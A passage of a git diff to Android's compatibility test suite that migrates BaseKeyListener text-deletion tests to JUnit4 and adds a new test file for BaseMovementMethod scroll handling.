+    @Test
+    public void testBackspace_withShift() throws Throwable {
+        verifyBackspace(KeyEvent.META_SHIFT_ON | KeyEvent.META_SHIFT_LEFT_ON);
     }
 
-    public void testBackspace_withAlt() {
-        final MockBaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
+    @Test
+    public void testBackspace_withAlt() throws Throwable {
+        final BaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
         Editable content = Editable.Factory.getInstance().newEditable(TEST_STRING);
 
         // Delete the entire line with ALT + DEL, even if we're at the head...
@@ -131,42 +139,46 @@
         assertEquals("", content.toString());
     }
 
-    public void testBackspace_withSendKeys() {
-        final MockBaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
+    @Test
+    public void testBackspace_withSendKeys() throws Throwable {
+        final BaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
 
         // Delete the first character '1'
         prepTextViewSync(TEST_STRING, mockBaseKeyListener, true, 1, 1);
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL);
         assertEquals("23456", mTextView.getText().toString());
 
         // Delete character '2' and '3'
         prepTextViewSync(TEST_STRING, mockBaseKeyListener, true, 1, 3);
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL);
         assertEquals("1456", mTextView.getText().toString());
 
         // Delete everything on the line the cursor is on.
         prepTextViewSync(TEST_STRING, mockBaseKeyListener, true, 0, 0);
-        sendAltDelete();
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(
+                mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_ALT_LEFT);
         assertEquals("", mTextView.getText().toString());
 
         // ALT+DEL deletes the selection only.
         prepTextViewSync(TEST_STRING, mockBaseKeyListener, true, 2, 4);
-        sendAltDelete();
+        CtsKeyEventUtil.sendKeyWhileHoldingModifier(
+                mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL, KeyEvent.KEYCODE_ALT_LEFT);
         assertEquals("1256", mTextView.getText().toString());
 
         // DEL key does not take effect when TextView does not have BaseKeyListener.
         prepTextViewSync(TEST_STRING, null, true, 1, 1);
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL);
         assertEquals(TEST_STRING, mTextView.getText().toString());
     }
 
-    private void assertCursorPosition(Editable content, int offset) {
+    private void verifyCursorPosition(Editable content, int offset) {
         assertEquals(offset, Selection.getSelectionStart(content));
         assertEquals(offset, Selection.getSelectionEnd(content));
     }
 
-    public void testBackspace_withCtrl() {
-        final MockBaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
+    @Test
+    public void testBackspace_withCtrl() throws Throwable {
+        final BaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
 
         // If the contents only having symbolic characters, delete all characters.
         String testText = "!#$%&'()`{*}_?+";
@@ -174,7 +186,7 @@
         prepTextViewSync(content, mockBaseKeyListener, false, testText.length(), testText.length());
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         // Latin ASCII text
         testText = "Hello, World. This is Android.";
@@ -184,32 +196,32 @@
         prepTextViewSync(content, mockBaseKeyListener, false, 0, 0);
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("Hello, World. This is Android.", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         prepTextViewSync(content, mockBaseKeyListener, false, testText.length(), testText.length());
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("Hello, World. This is ", content.toString());
-        assertCursorPosition(content, content.toString().length());
+        verifyCursorPosition(content, content.toString().length());
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("Hello, World. This ", content.toString());
-        assertCursorPosition(content, content.toString().length());
+        verifyCursorPosition(content, content.toString().length());
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("Hello, World. ", content.toString());
-        assertCursorPosition(content, content.toString().length());
+        verifyCursorPosition(content, content.toString().length());
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("Hello, ", content.toString());
-        assertCursorPosition(content, content.toString().length());
+        verifyCursorPosition(content, content.toString().length());
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         // Latin ASCII, cursor is middle of the text.
         testText = "Hello, World. This is Android.";
@@ -220,19 +232,19 @@
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("Hello, World.  is Android.", content.toString());
-        assertCursorPosition(content, content.toString().length() - charsFromTail);
+        verifyCursorPosition(content, content.toString().length() - charsFromTail);
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("Hello,  is Android.", content.toString());
-        assertCursorPosition(content, content.toString().length() - charsFromTail);
+        verifyCursorPosition(content, content.toString().length() - charsFromTail);
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals(" is Android.", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals(" is Android.", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         // Latin ASCII, cursor is inside word.
         testText = "Hello, World. This is Android.";
@@ -244,19 +256,19 @@
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("Hello, World. is is Android.", content.toString());
-        assertCursorPosition(content, content.toString().length() - charsFromTail);
+        verifyCursorPosition(content, content.toString().length() - charsFromTail);
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("Hello, is is Android.", content.toString());
-        assertCursorPosition(content, content.toString().length() - charsFromTail);
+        verifyCursorPosition(content, content.toString().length() - charsFromTail);
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("is is Android.", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("is is Android.", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         // Hebrew Text
         // The deletion works on a Logical direction basis.
@@ -268,24 +280,24 @@
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("\u05E9\u05DC\u05D5\u05DD\u0020\u05D4\u05E2\u05D5\u05DC\u05DD\u002E\u0020" +
                      "\u05D6\u05D4\u0020", content.toString());
-        assertCursorPosition(content, content.toString().length());
+        verifyCursorPosition(content, content.toString().length());
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("\u05E9\u05DC\u05D5\u05DD\u0020\u05D4\u05E2\u05D5\u05DC\u05DD\u002E\u0020",
                      content.toString());
-        assertCursorPosition(content, content.toString().length());
+        verifyCursorPosition(content, content.toString().length());
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("\u05E9\u05DC\u05D5\u05DD\u0020", content.toString());
-        assertCursorPosition(content, content.toString().length());
+        verifyCursorPosition(content, content.toString().length());
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         // BiDi Text
         // The deletion works on a Logical direction basis.
@@ -297,31 +309,32 @@
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("\u05D6\u05D4\u0020\u05DC\u002D\u0020\u0041Android\u0020\u05E2\u05D5\u05D1" +
                      "\u05D3\u0020", content.toString());
-        assertCursorPosition(content, content.toString().length());
+        verifyCursorPosition(content, content.toString().length());
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("\u05D6\u05D4\u0020\u05DC\u002D\u0020\u0041Android\u0020", content.toString());
-        assertCursorPosition(content, content.toString().length());
+        verifyCursorPosition(content, content.toString().length());
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("\u05D6\u05D4\u0020\u05DC\u002D\u0020", content.toString());
-        assertCursorPosition(content, content.toString().length());
+        verifyCursorPosition(content, content.toString().length());
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("\u05D6\u05D4\u0020", content.toString());
-        assertCursorPosition(content, content.toString().length());
+        verifyCursorPosition(content, content.toString().length());
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlBackspace(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
     }
 
-    public void testForwardDelete_withCtrl() {
-        final MockBaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
+    @Test
+    public void testForwardDelete_withCtrl() throws Throwable {
+        final BaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
 
         // If the contents only having symbolic characters, delete all characters.
         String testText = "!#$%&'()`{*}_?+";
@@ -329,7 +342,7 @@
         prepTextViewSync(content, mockBaseKeyListener, false, 0, 0);
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         // Latin ASCII text
         testText = "Hello, World. This is Android.";
@@ -339,36 +352,36 @@
         prepTextViewSync(content, mockBaseKeyListener, false, testText.length(), testText.length());
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("Hello, World. This is Android.", content.toString());
-        assertCursorPosition(content, testText.length());
+        verifyCursorPosition(content, testText.length());
 
         prepTextViewSync(content, mockBaseKeyListener, false, 0, 0);
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals(", World. This is Android.", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals(". This is Android.", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals(" is Android.", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals(" Android.", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals(".", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         // Latin ASCII, cursor is middle of the text.
         testText = "Hello, World. This is Android.";
@@ -378,23 +391,23 @@
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("Hello, World.  is Android.", content.toString());
-        assertCursorPosition(content, charsFromHead);
+        verifyCursorPosition(content, charsFromHead);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("Hello, World.  Android.", content.toString());
-        assertCursorPosition(content, charsFromHead);
+        verifyCursorPosition(content, charsFromHead);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("Hello, World. .", content.toString());
-        assertCursorPosition(content, charsFromHead);
+        verifyCursorPosition(content, charsFromHead);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("Hello, World. ", content.toString());
-        assertCursorPosition(content, charsFromHead);
+        verifyCursorPosition(content, charsFromHead);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("Hello, World. ", content.toString());
-        assertCursorPosition(content, charsFromHead);
+        verifyCursorPosition(content, charsFromHead);
 
         // Latin ASCII, cursor is inside word.
         testText = "Hello, World. This is Android.";
@@ -404,23 +417,23 @@
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("Hello, World. Th is Android.", content.toString());
-        assertCursorPosition(content, charsFromHead);
+        verifyCursorPosition(content, charsFromHead);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("Hello, World. Th Android.", content.toString());
-        assertCursorPosition(content, charsFromHead);
+        verifyCursorPosition(content, charsFromHead);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("Hello, World. Th.", content.toString());
-        assertCursorPosition(content, charsFromHead);
+        verifyCursorPosition(content, charsFromHead);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("Hello, World. Th", content.toString());
-        assertCursorPosition(content, charsFromHead);
+        verifyCursorPosition(content, charsFromHead);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("Hello, World. Th", content.toString());
-        assertCursorPosition(content, charsFromHead);
+        verifyCursorPosition(content, charsFromHead);
 
         // Hebrew Text
         // The deletion works on a Logical direction basis.
@@ -432,29 +445,29 @@
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("\u0020\u05D4\u05E2\u05D5\u05DC\u05DD\u002E\u0020\u05D6\u05D4\u0020\u05D0" +
                      "\u05E0\u05D3\u05E8\u05D5\u05D0\u05D9\u05D3\u002E", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("\u002E\u0020\u05D6\u05D4\u0020\u05D0\u05E0\u05D3\u05E8\u05D5\u05D0\u05D9" +
                 "\u05D3\u002E", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("\u0020\u05D0\u05E0\u05D3\u05E8\u05D5\u05D0\u05D9\u05D3\u002E",
                      content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("\u002E", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         // BiDi Text
         // The deletion works on a Logical direction basis.
@@ -466,33 +479,33 @@
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("\u0020\u05DC\u002D\u0020\u0041Android\u0020\u05E2\u05D5\u05D1\u05D3\u0020" +
                      "\u05D4\u05D9\u05D8\u05D1\u002E", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("\u002D\u0020\u0041Android\u0020\u05E2\u05D5\u05D1\u05D3\u0020\u05D4\u05D9" +
                      "\u05D8\u05D1\u002E", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("\u0020\u05E2\u05D5\u05D1\u05D3\u0020\u05D4\u05D9\u05D8\u05D1\u002E",
                      content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("\u0020\u05D4\u05D9\u05D8\u05D1\u002E", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("\u002E", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
 
         executeCtrlForwardDelete(content, mockBaseKeyListener);
         assertEquals("", content.toString());
-        assertCursorPosition(content, 0);
+        verifyCursorPosition(content, 0);
     }
 
     /*
@@ -501,42 +514,67 @@
      * 2. Set a selection and press DEL key, the selection is deleted.
      * 3. ACTION_MULTIPLE KEYCODE_UNKNOWN by inserting the event's text into the content.
      */
-    public void testPressKey() {
-        final MockBaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
+    @Test
+    public void testPressKey() throws Throwable {
+        final BaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
 
         // press '0' key.
         prepTextViewSync(TEST_STRING, mockBaseKeyListener, true, 0, 0);
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_0);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_0);
         assertEquals("123456", mTextView.getText().toString());
 
         // delete character '2'
         prepTextViewSync(mTextView.getText(), mockBaseKeyListener, true, 1, 2);
-        mKeyEventUtil.sendKeys(mTextView, KeyEvent.KEYCODE_DEL);
+        CtsKeyEventUtil.sendKeys(mInstrumentation, mTextView, KeyEvent.KEYCODE_DEL);
         assertEquals("13456", mTextView.getText().toString());
 
         // test ACTION_MULTIPLE KEYCODE_UNKNOWN key event.
         KeyEvent event = new KeyEvent(SystemClock.uptimeMillis(), "abcd",
                 KeyCharacterMap.BUILT_IN_KEYBOARD, 0);
         prepTextViewSync(mTextView.getText(), mockBaseKeyListener, true, 2, 2);
-        mKeyEventUtil.sendKey(mTextView, event);
+        CtsKeyEventUtil.sendKey(mInstrumentation, mTextView, event);
         mInstrumentation.waitForIdleSync();
         // the text of TextView is never changed, onKeyOther never works.
 //        assertEquals("13abcd456", mTextView.getText().toString());
     }
 
-    private void executeAltBackspace(Editable content, MockBaseKeyListener listener) {
+    @Test
+    public void testOnKeyOther() {
+        final BaseKeyListener mockBaseKeyListener = new MockBaseKeyListener();
+        final String string = "abc";
+        final SpannableStringBuilder content = new SpannableStringBuilder(string);
+
+        KeyEvent event = new KeyEvent(KeyEvent.ACTION_DOWN, KeyEvent.KEYCODE_UNKNOWN);
+        assertFalse(mockBaseKeyListener.onKeyOther(mTextView, content, event));
+        assertEquals(string, content.toString());
+
+        event = new KeyEvent(KeyEvent.ACTION_MULTIPLE, KeyEvent.KEYCODE_0);
+        assertFalse(mockBaseKeyListener.onKeyOther(mTextView, content, event));
+        assertEquals(string, content.toString());
+
+        Selection.setSelection(content, 1, 0);
+        event = new KeyEvent(KeyEvent.ACTION_MULTIPLE, KeyEvent.KEYCODE_UNKNOWN);
+        assertFalse(mockBaseKeyListener.onKeyOther(mTextView, content, event));
+        assertEquals(string, content.toString());
+
+        event = new KeyEvent(SystemClock.uptimeMillis(), "b", 0, 0);
+        assertTrue(mockBaseKeyListener.onKeyOther(mTextView, content, event));
+        assertEquals("bbc", content.toString());
+    }
+
+    private void executeAltBackspace(Editable content, BaseKeyListener listener) {
         final KeyEvent delKeyEvent = getKey(KeyEvent.KEYCODE_DEL,
                 KeyEvent.META_ALT_ON | KeyEvent.META_ALT_LEFT_ON);
         listener.backspace(mTextView, content, KeyEvent.KEYCODE_DEL, delKeyEvent);
     }
 
-    private void executeCtrlBackspace(Editable content, MockBaseKeyListener listener) {
+    private void executeCtrlBackspace(Editable content, BaseKeyListener listener) {
         final KeyEvent delKeyEvent = getKey(KeyEvent.KEYCODE_DEL,
                 KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_LEFT_ON);
         listener.backspace(mTextView, content, KeyEvent.KEYCODE_DEL, delKeyEvent);
     }
 
-    private void executeCtrlForwardDelete(Editable content, MockBaseKeyListener listener) {
+    private void executeCtrlForwardDelete(Editable content, BaseKeyListener listener) {
         final KeyEvent delKeyEvent = getKey(KeyEvent.KEYCODE_FORWARD_DEL,
                 KeyEvent.META_CTRL_ON | KeyEvent.META_CTRL_LEFT_ON);
         listener.forwardDelete(mTextView, content, KeyEvent.KEYCODE_FORWARD_DEL, delKeyEvent);
@@ -547,35 +585,20 @@
      * the UI thread.
      */
     private void prepTextViewSync(final CharSequence content, final BaseKeyListener keyListener,
-            final boolean selectInTextView, final int selectionStart, final int selectionEnd) {
-        mActivity.runOnUiThread(new Runnable() {
-            public void run() {
-                mTextView.setText(content, BufferType.EDITABLE);
-                mTextView.setKeyListener(keyListener);
-                Selection.setSelection(
-                        (Spannable) (selectInTextView ? mTextView.getText() : content),
-                        selectionStart, selectionEnd);
-            }
+            final boolean selectInTextView, final int selectionStart, final int selectionEnd)
+                    throws Throwable {
+        mActivityRule.runOnUiThread(() -> {
+            mTextView.setText(content, BufferType.EDITABLE);
+            mTextView.setKeyListener(keyListener);
+            Selection.setSelection(
+                    selectInTextView ? mTextView.getText() : (Spannable) content,
+                    selectionStart, selectionEnd);
         });
         mInstrumentation.waitForIdleSync();
         assertTrue(mTextView.hasWindowFocus());
     }
 
     /**
-     * Sends alt-delete key combo via {@link #sendKeys(int... keys)}.
-     */
-    private void sendAltDelete() {
-        mKeyEventUtil.sendKey(mTextView, new KeyEvent(KeyEvent.ACTION_DOWN,
-                KeyEvent.KEYCODE_ALT_LEFT));
-        mKeyEventUtil.sendKey(mTextView, new KeyEvent(0, 0, KeyEvent.ACTION_DOWN,
-                KeyEvent.KEYCODE_DEL, 0, KeyEvent.META_ALT_ON));
-        mKeyEventUtil.sendKey(mTextView, new KeyEvent(0, 0, KeyEvent.ACTION_UP,
-                KeyEvent.KEYCODE_DEL, 0, KeyEvent.META_ALT_ON));
-        mKeyEventUtil.sendKey(mTextView, new KeyEvent(KeyEvent.ACTION_UP,
-                KeyEvent.KEYCODE_ALT_LEFT));
-    }
-
-    /**
      * A mocked {@link android.text.method.BaseKeyListener} for testing purposes.
      */
     private class MockBaseKeyListener extends BaseKeyListener {
diff --git a/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
new file mode 100644
index 0000000..aeff39d
--- /dev/null
+++ b/tests/tests/text/src/android/text/method/cts/BaseMovementMethodTest.java
@@ -0,0 +1,219 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.text.method.cts;
+
+import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
+import static android.view.ViewGroup.LayoutParams.WRAP_CONTENT;
+import static android.widget.TextView.BufferType.EDITABLE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.annotation.NonNull;
+import android.app.Activity;
+import android.app.Instrumentation;
+import android.os.SystemClock;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.text.Spannable;
+import android.text.method.BaseMovementMethod;
+import android.view.InputDevice;
+import android.view.KeyEvent;
+import android.view.MotionEvent;
+import android.view.MotionEvent.PointerProperties;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.FrameLayout;
+import android.widget.TextView;
+
+import com.android.compatibility.common.util.WidgetTestUtils;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link BaseMovementMethod}.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class BaseMovementMethodTest {
+    private Instrumentation mInstrumentation;
+    private BaseMovementMethod mMovementMethod;
+    private TextView mTextView;
+
+    @Rule
+    public ActivityTestRule<CtsActivity> mActivityRule = new ActivityTestRule<>(CtsActivity.class);
+
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mMovementMethod = new BaseMovementMethod();
+    }
+
+    @Test
+    public void testOnGenericMotionEvent_horizontalScroll() throws Throwable {
+        final String testLine = "some text some text";
+        final String testString = testLine + "\n" + testLine;
+
+        mActivityRule.runOnUiThread(() -> mTextView = createTextView());
+        // limit lines for horizontal scroll
+        mTextView.setSingleLine();
+        mTextView.setText(testString, EDITABLE);
+
+        // limit width for horizontal scroll
+
+        setContentView(mTextView, (int) mTextView.getPaint().measureText(testLine) / 3);
+        // assert the default scroll position
+        assertEquals(0, mTextView.getScrollX());
+
+        final Spannable text = (Spannable) mTextView.getText();
+        final double lineSpacing = Math.ceil(mTextView.getPaint().getFontSpacing());
+
+        // scroll right
+        MotionEvent event = createScrollEvent(1, 0);
+        assertTrue(mMovementMethod.onGenericMotionEvent(mTextView, text, event));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView, null);
+        assertEquals(lineSpacing, mTextView.getScrollX(), lineSpacing / 4);
+        event.recycle();
+
+        // scroll left
+        event = createScrollEvent(-1, 0);
+        assertTrue(mMovementMethod.onGenericMotionEvent(mTextView, text, event));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView, null);
+        assertEquals(0, mTextView.getScrollX());
+        event.recycle();
+
+        // cannot scroll to left
+        event = createScrollEvent(-1, 0);
+        assertFalse(mMovementMethod.onGenericMotionEvent(mTextView, text, event));
+        event.recycle();
+
+        // cannot scroll to right
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView,
+                () -> mTextView.scrollTo((int) mTextView.getLayout().getLineWidth(0), 0));
+        event = createScrollEvent(1, 0);
+        assertFalse(mMovementMethod.onGenericMotionEvent(mTextView, text, event));
+        event.recycle();
+
+        // meta shift on
+        // reset scroll
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView,
+                () -> mTextView.scrollTo(0, 0));
+
+        // scroll top becomes scroll right
+        event = createScrollEvent(0, 1, KeyEvent.META_SHIFT_ON);
+        assertTrue(mMovementMethod.onGenericMotionEvent(mTextView, text, event));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView, null);
+        assertEquals(lineSpacing, mTextView.getScrollX(), lineSpacing / 4);
+        event.recycle();
+
+        // scroll down becomes scroll left
+        event = createScrollEvent(0, -1, KeyEvent.META_SHIFT_ON);
+        assertTrue(mMovementMethod.onGenericMotionEvent(mTextView, text, event));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView, null);
+        assertEquals(0, mTextView.getScrollX());
+        event.recycle();
+    }
+
+    @Test
+    public void testOnGenericMotionEvent_verticalScroll() throws Throwable {
+        final String testLine = "some text some text";
+        final String testString = testLine + "\n" + testLine;
+
+        mActivityRule.runOnUiThread(() -> mTextView = createTextView());
+        // limit lines for vertical scroll
+        mTextView.setMaxLines(1);
+        mTextView.setText(testString, EDITABLE);
+        setContentView(mTextView, WRAP_CONTENT);
+        // assert the default scroll positions
+        assertEquals(0, mTextView.getScrollY());
+
+        final Spannable text = (Spannable) mTextView.getText();
+        final int lineHeight = mTextView.getLineHeight();
+
+        // scroll down
+        MotionEvent event = createScrollEvent(0, -1);
+        assertTrue(mMovementMethod.onGenericMotionEvent(mTextView, text, event));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView, null);
+        assertEquals(lineHeight, mTextView.getScrollY(), lineHeight / 4);
+        event.recycle();
+
+        // scroll up
+        event = createScrollEvent(0, 1);
+        assertTrue(mMovementMethod.onGenericMotionEvent(mTextView, text, event));
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView, null);
+        assertEquals(0, mTextView.getScrollY());
+        event.recycle();
+
+        // cannot scroll up
+        event = createScrollEvent(0, 1);
+        assertFalse(mMovementMethod.onGenericMotionEvent(mTextView, text, event));
+        event.recycle();
+
+        // cannot scroll down
+        WidgetTestUtils.runOnMainAndDrawSync(mActivityRule, mTextView,
+                () -> mTextView.scrollTo(0, mTextView.getLayout().getHeight()));
+        event = createScrollEvent(0, -1);
+        assertFalse(mMovementMethod.onGenericMotionEvent(mTextView, text, event));
+        event.recycle();
+    }
+
+    private TextView createTextView() {
+        final TextView textView = new TextViewNoIme(mActivityRule.getActivity());
+        textView.setFocusable(true);
+        textView.setMovementMethod(mMovementMethod);
+        textView.setTextDirection(View.TEXT_DIRECTION_LTR);
+        return textView;
+    }
+
+    private void setContentView(@NonNull TextView textView, int textWidth) throws Throwable {
+        final Activity activity = mActivityRule.getActivity();
+        final FrameLayout layout = new FrameLayout(activity);
+        layout.addView(textView, new ViewGroup.LayoutParams(textWidth, WRAP_CONTENT));
+
+        mActivityRule.runOnUiThread(() -> {
+            activity.setContentView(layout, new ViewGroup.LayoutParams(MATCH_PARENT,
+                    MATCH_PARENT));
+            textView.requestFocus();
+        });
+        mInstrumentation.waitForIdleSync();
+        assertTrue(textView.isFocused());
+    }
+
+    private static MotionEvent createScrollEvent(int horizontal, int vertical) {
+        return createScrollEvent(horizontal, vertical, 0);
+    }
+
+    private static MotionEvent createScrollEvent(int horizontal, int vertical, int meta) {
+        final PointerProperties[] pointerProperties = new PointerProperties[1];
+        pointerProperties[0] = new PointerProperties();
+        pointerProperties[0].id = 0;
